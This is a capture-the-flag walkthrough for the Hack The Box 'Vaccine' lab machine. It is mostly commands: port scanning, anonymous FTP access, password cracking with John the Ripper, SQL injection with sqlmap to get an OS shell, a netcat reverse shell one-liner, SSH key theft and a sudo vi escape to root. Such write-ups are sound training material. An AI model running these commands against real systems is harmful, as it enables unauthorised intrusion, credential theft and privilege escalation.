HACK-THE-BOX: VACCINE

Add IP to hosts:

nano /etc/hosts

Recon:

Nmap:

nmap -sC -sV -vv [MACHINE_IP] -T 4

Discovered Ports : 80 – http
22 – SSH
21 - FTP - Anonymous Login Allowed

OS : Linux

Login to FTP:

ftp anonymous@[MACHINE_IP]
ls
get backup.zip

Using JohnTheRipper:

zip2john -s backup.zip

Copy the hash and use **JohnTheRipper** again:

john --wordlist=[WORDLIST_PATH] forjohn
This will decode the hash and give password for the zipped file

unzip backup.zip
Input the password and we get two files:
index.php and style.css

cat index.php

Here, we will find a hashed password
I used crackstation.net to crack it and found the password
"qwerty789" is the password for admin

sqlmap -u "http://10.129.230.254/dashboard.php?search=a" --cookie="PHPSESSID=u03ech4v9pp3rrmbi4sg9curs8"

You'll get to know the backend DBMS

sqlmap -u "http://10.129.230.254/dashboard.php?search=a" --cookie="PHPSESSID=u03ech4v9pp3rrmbi4sg9curs8" --os-shell --dbms=PostgreSQL

Let’s get a stable shell
setup a listener on another terminal

I used a **netcat reverse shell by PentestMonkey**
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [my_tun0_IP] [LISTENER_PORT] >/tmp/f"

nc -lvnp [LISTENER_PORT]
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

postgres@vaccine:/var/lib/postgresql/11/main $ cd ~
$ cat user.txt ----------USER FLAG
$ ls -la
$ cd .ssh

copy the key and login using the key

ssh -i /home/kali/Downloads/id_rsa postgres@[MACHINE_IP]
cd var/www/html
cat dashboard.php ---------this will give you the password for postgres
sudo -l
We get "(ALL) **/bin/vi /etc/postgresql/11/main/pg_hba.conf**"
Search GTFOBINS for vi as sudo
 # sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

We will enter vim:
Type "**:!/bin/sh**" to get a root shell
cat /root/root.txt ----------ROOT FLAG